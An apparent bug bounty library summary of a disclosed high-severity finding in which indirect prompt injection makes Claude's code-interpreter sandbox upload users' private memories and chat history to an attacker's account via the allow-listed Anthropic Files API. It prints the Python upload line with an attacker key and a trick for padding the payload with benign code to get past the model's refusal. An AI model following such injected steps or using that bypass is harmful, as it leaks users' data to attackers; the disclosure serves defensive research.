# Claude Pirate: Abusing Anthropic's File API For Data Exfiltration

Claude Code Interpreter's default egress allow-list includes api.anthropic.com, letting indirect prompt injection upload user data to an attacker's Anthropic account via the Files API.

- Payout: Research
- Severity: high
- Program: Anthropic
- Write-up by: Johann Rehberger
- Disclosed: 2025-10-28
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2025/claude-abusing-network-access-and-anthropic-api-for-data-exfiltration/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2025-claude-abusing-network-access-and-anthropic-api-for-data-exfiltration
- Tags: area:ai domain:ai impact:data-leak impact:pii-leak kind:research platform:research sev:high tech:llm technique:chained vuln:misconfiguration vuln:prompt-injection

**Target:** Claude Code Interpreter sandbox network egress / Anthropic Files API
**Root cause:** Default 'package managers only' egress allow-list includes api.anthropic.com, so sandboxed code can call the Files API with an attacker-supplied API key and upload files to a different account.
**Steps:**
1. Inject indirect prompt injection via a document/MCP server telling Claude to read private data (e.g. memories/chat history) and write it to `/mnt/user-data/outputs/hello.md`
2. Instruct Claude to run Python: `os.environ['ANTHROPIC_API_KEY']='attacker-key'; client=anthropic.Anthropic(); client.beta.files.upload(file=("hello.md", open("/mnt/user-data/outputs/hello.md","rb"), "text/plain"))`
3. Pad payload with benign code like `print('Hello, world')` to bypass model refusal of plaintext API key
4. Attacker refreshes Files view in their Console and retrieves the uploaded file (up to 30MB per file)
**How found:** Reviewed the documented default egress allow-list, noticed api.anthropic.com as first entry, and reasoned adversarially that sandbox code could reach Anthropic's own Files API with an attacker-controlled key.
**Exploitation:** Attacker plants a malicious document; victim asks Claude to analyze it; injection makes Claude read victim's private context, write it to sandbox output, and upload it to the attacker's Anthropic account using the attacker's API key over the allow-listed api.anthropic.com egress.
**Escalation:** Multiple files can be uploaded, enabling bulk exfiltration up to 30MB each; other allow-listed package-manager domains may permit similar channels.
**Insight:** When auditing AI sandbox egress allow-lists, treat first-party/vendor API domains as exfil channels: any allow-listed endpoint accepting credentials lets injected code ship data to an attacker-controlled account.